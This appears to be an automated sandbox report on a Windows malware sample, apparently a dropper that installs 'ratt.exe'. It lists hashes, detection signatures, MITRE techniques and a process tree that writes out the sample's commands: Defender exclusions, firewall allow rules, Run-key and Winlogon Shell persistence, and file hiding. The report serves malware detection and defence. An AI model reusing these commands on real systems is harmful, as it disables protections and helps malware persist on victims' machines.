bd51b28485126cb527472e715e0221a247fa9177084f20dd01cc3363984f6002

Analysis

max time kernel
45s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20230831-en
resource tags

arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system
submitted
03-09-2023 08:00

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bd51b28485126cb527472e715e0221a247fa9177084f20dd01cc3363984f6002.exe
Size

1.4MB
MD5

6737e2a560ca78ec685b9ca402cdde88
SHA1

98ef2296563be21fe62bc5e595559fc08038b2f2
SHA256

bd51b28485126cb527472e715e0221a247fa9177084f20dd01cc3363984f6002
SHA512

3b40b7bf4f60953e215b86f86681e16e747b7d9c7583357f033843d808e77e96a66d22d64777d7a74e7b9c3ed6c889adf87a83b962f6715029790d49bfcde506
SSDEEP

24576:U2G/nvxW3Ww0tRp8GiXTBhq7yRDvHcUcjUvy0lr3Tl6icOB/UWoT:UbA30H4zF0UMSAicOB/UWk

Score

8^/10

evasion upx

Malware Config

Signatures

Modifies Windows Firewall 1 TTPs 2 IoCs

evasion

Windows Service

T1543.003

pid	Process
4612	netsh.exe
4928	netsh.exe

ACProtect 1.3x - 1.4x DLL software 2 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral1/files/0x000600000002315b-103.dat	acprotect
behavioral1/files/0x000600000002315b-102.dat	acprotect

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2848203831-2014322062-3611574811-1000\Control Panel\International\Geo\Nation	bd51b28485126cb527472e715e0221a247fa9177084f20dd01cc3363984f6002.exe

Executes dropped EXE 1 IoCs

pid	Process
408	7z.exe

Loads dropped DLL 1 IoCs

pid	Process
408	7z.exe

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/408-100-0x0000000000400000-0x0000000000432000-memory.dmp	upx
behavioral1/files/0x000600000002315c-99.dat	upx
behavioral1/files/0x000600000002315c-101.dat	upx
behavioral1/files/0x000600000002315b-103.dat	upx
behavioral1/files/0x000600000002315b-102.dat	upx
behavioral1/memory/408-104-0x0000000010000000-0x00000000100E2000-memory.dmp	upx
behavioral1/memory/408-108-0x0000000000400000-0x0000000000432000-memory.dmp	upx

Unexpected DNS network traffic destination 3 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	208.67.222.222
Destination IP	208.67.222.222
Destination IP	208.67.222.222

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Runs ping.exe 1 TTPs 4 IoCs

Remote System Discovery

T1018

pid	Process
904	PING.EXE
1488	PING.EXE
3320	PING.EXE
1540	PING.EXE

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
4628	powershell.exe
4628	powershell.exe
2732	powershell.exe
2732	powershell.exe
2704	powershell.exe
2704	powershell.exe
2116	powershell.exe
2116	powershell.exe
1568	powershell.exe
1568	powershell.exe
1348	powershell.exe
1348	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	940	WMIC.exe
Token: SeSecurityPrivilege	940	WMIC.exe
Token: SeTakeOwnershipPrivilege	940	WMIC.exe
Token: SeLoadDriverPrivilege	940	WMIC.exe
Token: SeSystemProfilePrivilege	940	WMIC.exe
Token: SeSystemtimePrivilege	940	WMIC.exe
Token: SeProfSingleProcessPrivilege	940	WMIC.exe
Token: SeIncBasePriorityPrivilege	940	WMIC.exe
Token: SeCreatePagefilePrivilege	940	WMIC.exe
Token: SeBackupPrivilege	940	WMIC.exe
Token: SeRestorePrivilege	940	WMIC.exe
Token: SeShutdownPrivilege	940	WMIC.exe
Token: SeDebugPrivilege	940	WMIC.exe
Token: SeSystemEnvironmentPrivilege	940	WMIC.exe
Token: SeRemoteShutdownPrivilege	940	WMIC.exe
Token: SeUndockPrivilege	940	WMIC.exe
Token: SeManageVolumePrivilege	940	WMIC.exe
Token: 33	940	WMIC.exe
Token: 34	940	WMIC.exe
Token: 35	940	WMIC.exe
Token: 36	940	WMIC.exe
Token: SeIncreaseQuotaPrivilege	940	WMIC.exe
Token: SeSecurityPrivilege	940	WMIC.exe
Token: SeTakeOwnershipPrivilege	940	WMIC.exe
Token: SeLoadDriverPrivilege	940	WMIC.exe
Token: SeSystemProfilePrivilege	940	WMIC.exe
Token: SeSystemtimePrivilege	940	WMIC.exe
Token: SeProfSingleProcessPrivilege	940	WMIC.exe
Token: SeIncBasePriorityPrivilege	940	WMIC.exe
Token: SeCreatePagefilePrivilege	940	WMIC.exe
Token: SeBackupPrivilege	940	WMIC.exe
Token: SeRestorePrivilege	940	WMIC.exe
Token: SeShutdownPrivilege	940	WMIC.exe
Token: SeDebugPrivilege	940	WMIC.exe
Token: SeSystemEnvironmentPrivilege	940	WMIC.exe
Token: SeRemoteShutdownPrivilege	940	WMIC.exe
Token: SeUndockPrivilege	940	WMIC.exe
Token: SeManageVolumePrivilege	940	WMIC.exe
Token: 33	940	WMIC.exe
Token: 34	940	WMIC.exe
Token: 35	940	WMIC.exe
Token: 36	940	WMIC.exe
Token: SeDebugPrivilege	4628	powershell.exe
Token: SeDebugPrivilege	2732	powershell.exe
Token: SeDebugPrivilege	2704	powershell.exe
Token: SeDebugPrivilege	2116	powershell.exe
Token: SeDebugPrivilege	1568	powershell.exe
Token: SeDebugPrivilege	1348	powershell.exe
Token: SeIncreaseQuotaPrivilege	1636	WMIC.exe
Token: SeSecurityPrivilege	1636	WMIC.exe
Token: SeTakeOwnershipPrivilege	1636	WMIC.exe
Token: SeLoadDriverPrivilege	1636	WMIC.exe
Token: SeSystemProfilePrivilege	1636	WMIC.exe
Token: SeSystemtimePrivilege	1636	WMIC.exe
Token: SeProfSingleProcessPrivilege	1636	WMIC.exe
Token: SeIncBasePriorityPrivilege	1636	WMIC.exe
Token: SeCreatePagefilePrivilege	1636	WMIC.exe
Token: SeBackupPrivilege	1636	WMIC.exe
Token: SeRestorePrivilege	1636	WMIC.exe
Token: SeShutdownPrivilege	1636	WMIC.exe
Token: SeDebugPrivilege	1636	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1636	WMIC.exe
Token: SeRemoteShutdownPrivilege	1636	WMIC.exe
Token: SeUndockPrivilege	1636	WMIC.exe

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 1716 wrote to memory of 4792	1716	bd51b28485126cb527472e715e0221a247fa9177084f20dd01cc3363984f6002.exe	83
PID 1716 wrote to memory of 4792	1716	bd51b28485126cb527472e715e0221a247fa9177084f20dd01cc3363984f6002.exe	83
PID 1716 wrote to memory of 4792	1716	bd51b28485126cb527472e715e0221a247fa9177084f20dd01cc3363984f6002.exe	83
PID 4792 wrote to memory of 2412	4792	cmd.exe	86
PID 4792 wrote to memory of 2412	4792	cmd.exe	86
PID 4792 wrote to memory of 2412	4792	cmd.exe	86
PID 2412 wrote to memory of 3240	2412	cmd.exe	87
PID 2412 wrote to memory of 3240	2412	cmd.exe	87
PID 2412 wrote to memory of 3240	2412	cmd.exe	87
PID 4792 wrote to memory of 3912	4792	cmd.exe	88
PID 4792 wrote to memory of 3912	4792	cmd.exe	88
PID 4792 wrote to memory of 3912	4792	cmd.exe	88
PID 3912 wrote to memory of 940	3912	cmd.exe	89
PID 3912 wrote to memory of 940	3912	cmd.exe	89
PID 3912 wrote to memory of 940	3912	cmd.exe	89
PID 4792 wrote to memory of 4628	4792	cmd.exe	91
PID 4792 wrote to memory of 4628	4792	cmd.exe	91
PID 4792 wrote to memory of 4628	4792	cmd.exe	91
PID 4792 wrote to memory of 2732	4792	cmd.exe	92
PID 4792 wrote to memory of 2732	4792	cmd.exe	92
PID 4792 wrote to memory of 2732	4792	cmd.exe	92
PID 4792 wrote to memory of 2704	4792	cmd.exe	93
PID 4792 wrote to memory of 2704	4792	cmd.exe	93
PID 4792 wrote to memory of 2704	4792	cmd.exe	93
PID 4792 wrote to memory of 2116	4792	cmd.exe	94
PID 4792 wrote to memory of 2116	4792	cmd.exe	94
PID 4792 wrote to memory of 2116	4792	cmd.exe	94
PID 4792 wrote to memory of 1568	4792	cmd.exe	95
PID 4792 wrote to memory of 1568	4792	cmd.exe	95
PID 4792 wrote to memory of 1568	4792	cmd.exe	95
PID 4792 wrote to memory of 408	4792	cmd.exe	96
PID 4792 wrote to memory of 408	4792	cmd.exe	96
PID 4792 wrote to memory of 408	4792	cmd.exe	96
PID 4792 wrote to memory of 1348	4792	cmd.exe	97
PID 4792 wrote to memory of 1348	4792	cmd.exe	97
PID 4792 wrote to memory of 1348	4792	cmd.exe	97
PID 1348 wrote to memory of 4612	1348	powershell.exe	99
PID 1348 wrote to memory of 4612	1348	powershell.exe	99
PID 1348 wrote to memory of 4612	1348	powershell.exe	99
PID 1348 wrote to memory of 4928	1348	powershell.exe	101
PID 1348 wrote to memory of 4928	1348	powershell.exe	101
PID 1348 wrote to memory of 4928	1348	powershell.exe	101
PID 1348 wrote to memory of 1272	1348	powershell.exe	102
PID 1348 wrote to memory of 1272	1348	powershell.exe	102
PID 1348 wrote to memory of 1272	1348	powershell.exe	102
PID 1272 wrote to memory of 1636	1272	cmd.exe	103
PID 1272 wrote to memory of 1636	1272	cmd.exe	103
PID 1272 wrote to memory of 1636	1272	cmd.exe	103
PID 1348 wrote to memory of 2136	1348	powershell.exe	104
PID 1348 wrote to memory of 2136	1348	powershell.exe	104
PID 1348 wrote to memory of 2136	1348	powershell.exe	104
PID 2136 wrote to memory of 4312	2136	cmd.exe	105
PID 2136 wrote to memory of 4312	2136	cmd.exe	105
PID 2136 wrote to memory of 4312	2136	cmd.exe	105

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4832	attrib.exe

C:\Users\Admin\AppData\Local\Temp\bd51b28485126cb527472e715e0221a247fa9177084f20dd01cc3363984f6002.exe
"C:\Users\Admin\AppData\Local\Temp\bd51b28485126cb527472e715e0221a247fa9177084f20dd01cc3363984f6002.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1716
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ratt.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4792
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c nslookup myip.opendns.com. resolver1.opendns.com
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2412
  - - C:\Windows\SysWOW64\nslookup.exe
      nslookup myip.opendns.com. resolver1.opendns.com
      4⤵
      PID:3240
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic ComputerSystem get Domain
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3912
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic ComputerSystem get Domain
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:940
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4628
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2732
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2704
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "$Env:SystemDrive\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2116
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionProcess "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1568
- - C:\Users\Admin\AppData\Local\Temp\7z.exe
    7z.exe x -o"C:\Users\Admin\AppData\Local\Temp" -y ratt.7z
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:408
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -executionpolicy RemoteSigned -WindowStyle Hidden -file Add.ps1
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1348
  - - C:\Windows\SysWOW64\netsh.exe
      "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=in action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:4612
  - - C:\Windows\SysWOW64\netsh.exe
      "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=out action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:4928
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1272
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic computersystem where name="YJYULRVR" set AutomaticManagedPagefile=False
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1636
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2136
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic pagefileset where name="C:\\pagefile.sys" set InitialSize=15000,MaximumSize=20000
        5⤵
        
        PID:4312
  - - C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe
      "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"
      4⤵
      PID:1900
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 7 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
        5⤵
        
        PID:3612
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 7
        6⤵
        Runs ping.exe
        
        PID:3320
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
        6⤵
        
        PID:3108
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 20 > nul && copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 20 > nul && "C:\Users\Admin\Music\rot.exe"
        5⤵
        
        PID:1188
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 20
        6⤵
        Runs ping.exe
        
        PID:1540
  - - C:\Windows\SysWOW64\attrib.exe
      "C:\Windows\system32\attrib.exe" +h "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"
      4⤵
      Views/modifies file attributes
      PID:4832
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "ratt" /t REG_SZ /d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe" /F
    3⤵
    PID:4284
- - C:\Users\Admin\AppData\Local\Temp\ratt.exe
    "ratt.exe"
    3⤵
    PID:2644
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd" /c ping 127.0.0.1 -n 11 > nul && copy "C:\Users\Admin\AppData\Local\Temp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 11 > nul && "C:\Users\Admin\Music\rot.exe"
      4⤵
      PID:2628
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 11
        5⤵
        Runs ping.exe
        
        PID:904
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 11
        5⤵
        Runs ping.exe
        
        PID:1488
    - - C:\Users\Admin\Music\rot.exe
        
        "C:\Users\Admin\Music\rot.exe"
        5⤵
        
        PID:2464
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        6⤵
        
        PID:408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe

Filesize
334.4MB

MD5
e06921bff144b49313bec0db8083850e

SHA1
c72def936361c387c402f2be196871ecc4e25f9f

SHA256
604fac1f422680c178d8755d442475d58ed6e8482cf87df3cd301854103dc334

SHA512
b75d756abd9f7735dc21f0e30793ffa112cc6d29fa996a3b90313ecb293a8b8a841275a87ad4724ad5cbbc4113bb372d9582604dbd7ed61320d3bc9dc7c48802

Download Submit
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe

Filesize
271.3MB

MD5
bd624797b799c5235987c7eee800547e

SHA1
b60e325073cfd5884970573e36b5c992f6a21cd7

SHA256
82dbd9545796a66c19c69bd05380a2d7a11e0110523532250b17be5c25f49162

SHA512
86d95a1c5ffd27e8b844abded91958245e0f7410f2e6ef9264f085630392ce6f9bff5822b2ae85e839ee60b8826228e3445fd15141a263997233603eb2681b56

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
33b19d75aa77114216dbc23f43b195e3

SHA1
36a6c3975e619e0c5232aa4f5b7dc1fec9525535

SHA256
b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2

SHA512
676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ratt.exe.log

Filesize
1KB

MD5
9a2d0ce437d2445330f2646472703087

SHA1
33c83e484a15f35c2caa3af62d5da6b7713a20ae

SHA256
30ea2f716e85f8d14a201e3fb0897d745a01b113342dfb7a9b7ac133c4ef150c

SHA512
a61d18d90bfad9ea8afdfa37537cfea3d5a3d0c161e323fa65840c283bdc87c3de85daaff5519beea2f2719eec1c68398eea8679b55ff733a61052f073162d5d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
11KB

MD5
437cc0d80c768bc3e63683c5bc692d37

SHA1
e9de0a8bffeb6a97b605b325bb64b21e4c835ed8

SHA256
864f0ad14867298700abd86f5cddda78f0019739c96b534a0b1c1fcbad69cda5

SHA512
190129c690bcb3b6b221eb6bcccfc1f71928ee2f5a04ebc7ba79eadaa9fb06e0d932a78201e60e1f033b9c7ab0799df0c71c1f90ae4eab0abfc5390d64040df2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
11KB

MD5
451fe18b737bd0b5f74285986330c94e

SHA1
d876de3dea145bbaef20ec7d19185bf1c2860ce3

SHA256
bc0a4b7c5dc5c4c9acc0a42bc7819b471dae0135a351be4257fbfbd9573d6b6f

SHA512
05a420e0c1d90a5d3a8cda4b6586bd154fc5b09405bebea15ff8edb19f39a47282deef195737f291438138176fca5dc090e5138ba02560ba9a6fddf658b946af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
11KB

MD5
3a6095c5a54a2f5aece98f889273f1cb

SHA1
1feaf57301e2830af62536ea06e2a6198db4c808

SHA256
b6f1ede771300cb1dd50c6685ab0826e28f10bc09e4b6c1e3c580b63891292bd

SHA512
813e1450a2fe2da7ea0b765c3b07c79a16ac13430837752877e495baaa5bfe5c0adfde72bee155722aefc89754ecd34cee417962e63b177c4573517ddbbffe2f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
11KB

MD5
3f5fce262f7a63001e1b25d21e0a0c8d

SHA1
35c7d88c1fac25a974f56bad689fd8df83c87991

SHA256
1e13ac4f6e9afaf409614111a3ecaeeffbe27cf4083bbf3236b1e0434d6e6521

SHA512
9a3b3c3e4b4a3dc558122326ce83a82ef59bae1c6b3db66b7473fb2d42678e96482ea99148ffc2797e34e17d2843629eac765eca1f8fd5b8beb4959972068689

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
11KB

MD5
96a2810fc070784af14ed5d39cd2257e

SHA1
6b0f73910f22a222ccb5a6c524b4c84d04c3393b

SHA256
a3be5cca47e7849707f316b102f5ae9cc08db24a8c691a87ab16bd668b7e5ebe

SHA512
c076a0369aa87e1fe8da16291a6fd50dc9d1c687faf425261850aa5dbd8e52cf1c329825bccfc350b67ec63c84e5bf58ffdefed151318943f07b73c94265b273

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z.dll

Filesize
328KB

MD5
15bbbe562f9be3e5dcbb834e635cc231

SHA1
7c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a

SHA256
ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde

SHA512
769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z.dll

Filesize
328KB

MD5
15bbbe562f9be3e5dcbb834e635cc231

SHA1
7c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a

SHA256
ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde

SHA512
769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z.exe

Filesize
71KB

MD5
8ba2e41b330ae9356e62eb63514cf82e

SHA1
8dc266467a5a0d587ed0181d4344581ef4ff30b2

SHA256
ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

SHA512
2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z.exe

Filesize
71KB

MD5
8ba2e41b330ae9356e62eb63514cf82e

SHA1
8dc266467a5a0d587ed0181d4344581ef4ff30b2

SHA256
ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

SHA512
2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Add.ps1

Filesize
1KB

MD5
0df43097e0f0acd04d9e17fb43d618b9

SHA1
69b3ade12cb228393a93624e65f41604a17c83b6

SHA256
c8e4a63337a25f55f75ad10ab2b420d716bad4b35a2044fd39dcd5936419d873

SHA512
01ae71dd2ee040baad6f4b9afcfbaeca2b9f6cc7d60ade5de637238d65c17d74292734666f4ae6b533f6bf1007c46387d8e690d97c3b7a535bcd6f216e70c4fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rqrsimkz.5t4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.7z

Filesize
693KB

MD5
7de6fdf3629c73bf0c29a96fa23ae055

SHA1
dcb37f6d43977601c6460b17387a89b9e4c0609a

SHA256
069979bfb2aefe3cac239fe4f2477672eb75b90c9853fb67b2ac1438f2ec44ff

SHA512
d1ef2299aacf429572fd6df185009960e601e49126f080fdced26ec407e5db86eaa902e474635464aac146b7de286667a398f2c5e46c4a821dad2579bfb3acf8

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.bat

Filesize
1KB

MD5
7ea1fec84d76294d9256ae3dca7676b2

SHA1
1e335451d1cbb6951bc77bf75430f4d983491342

SHA256
9a419095c0bafc6b550f3f760c7b4f91ef3a956cfa6403d3750164ecdbe35940

SHA512
ab712c45081b3d1c7edd03e67a8db1518a546f3fbf00e99838dfe03a689c4867a6953e6603dcd2be458b2441f4a2b70286fd7d096549cfcf032dd2cd54d68317

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.exe

Filesize
597.7MB

MD5
27b6600be5cdbfc3b721481a875a5c09

SHA1
cdf03deb5a7347d50d7bc786a058e26f4ab8eb7c

SHA256
b31144563f7989628a8ce0eef4891ce8c9589b96f9287f64b9d5a42e873b3452

SHA512
991fe64f600fe334b6908c5268748ea537af271d18e2dd8663b320779d95d25a2637e349fdecd89a3adf29db31e3ded303c6ed959d0622e21e7c1c3c351efa0e

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.exe

Filesize
254.5MB

MD5
d0862c072eee86eca20fcafe34eed431

SHA1
fba6178a861843b0be33c66f9fe26c29fa3ef659

SHA256
71ab025b8718264c43b52a4a24deb14177c4efe682bba7c541859c205ff435e7

SHA512
ecaeb5d9c40fa39794c13f987c44952e6d7b5a172ed3860b7fdd2ab31be358f27bc59a30c0b0e39fb8d6e03ea869946eb16c66dde04d5afabce21183d4eaaf63

Download Submit
C:\Users\Admin\Music\rot.exe

Filesize
82.3MB

MD5
870b09f43fe20a433ec43ec0b07339de

SHA1
b0c5bad23086d078c91d1752902fe9ee49178efd

SHA256
7804abf30568e046fbef999c4f00df5af7969ad63a0178055d40562abc9534fd

SHA512
ff171670d7fb573b1292cc91f84f6c58f3db616bd57bbf4127ecaa4d81cea93b05d4d41e6c2423486396339eba5f4e49615c4ab3424fdaa3478449799676cc9f

Download Submit
C:\Users\Admin\Music\rot.exe

Filesize
31.2MB

MD5
9bb8c15b5fd6e60c6e220472f627613d

SHA1
1c1f9e1633ceb10697f7a3e93aad26e1c4fb705a

SHA256
02d87110f5c46ac69d5ab1cb6dea3dc988d61b14a34d605373c4063c9fab1da2

SHA512
e41c4160d7de2f8163d130ad2f97e0e21fe60b5160b5918294bce3411481dcb3ddce227d1c37952fd3e48f6c38edc93219ea4fb760b004fe00e2118c92e48e28

Download Submit
C:\Users\Admin\Music\rot.exe

Filesize
30.9MB

MD5
e809b35991ee78f91e7c99903e496fe7

SHA1
57493c03270b1fb43b91d3e4421dc3df2c21d850

SHA256
ae0d34530fd154081b553c71d1f205adba2706e041488bd79794c10b5e69e1c0

SHA512
66a02c74559ef864303a4fd49fd49d5a315f3203236e4b616e7a444fd3f0c9e95bd672d0e9d4ee12548ad8429641f145abeb2aa735ac41d04df303671134c78b

Download Submit
memory/408-104-0x0000000010000000-0x00000000100E2000-memory.dmp

Filesize
904KB

Download
memory/408-108-0x0000000000400000-0x0000000000432000-memory.dmp

Filesize
200KB

Download
memory/408-100-0x0000000000400000-0x0000000000432000-memory.dmp

Filesize
200KB

Download
memory/1348-148-0x00000000073A0000-0x00000000073A8000-memory.dmp

Filesize
32KB

Download
memory/1348-139-0x00000000063E0000-0x00000000063FE000-memory.dmp

Filesize
120KB

Download
memory/1348-162-0x0000000074630000-0x0000000074DE0000-memory.dmp

Filesize
7.7MB

Download
memory/1348-153-0x00000000083D0000-0x0000000008974000-memory.dmp

Filesize
5.6MB

Download
memory/1348-152-0x00000000074A0000-0x00000000074C2000-memory.dmp

Filesize
136KB

Download
memory/1348-151-0x000000007F070000-0x000000007F080000-memory.dmp

Filesize
64KB

Download
memory/1348-126-0x0000000004A50000-0x0000000004A60000-memory.dmp

Filesize
64KB

Download
memory/1348-128-0x0000000006400000-0x0000000006432000-memory.dmp

Filesize
200KB

Download
memory/1348-149-0x0000000004A50000-0x0000000004A60000-memory.dmp

Filesize
64KB

Download
memory/1348-129-0x0000000070450000-0x000000007049C000-memory.dmp

Filesize
304KB

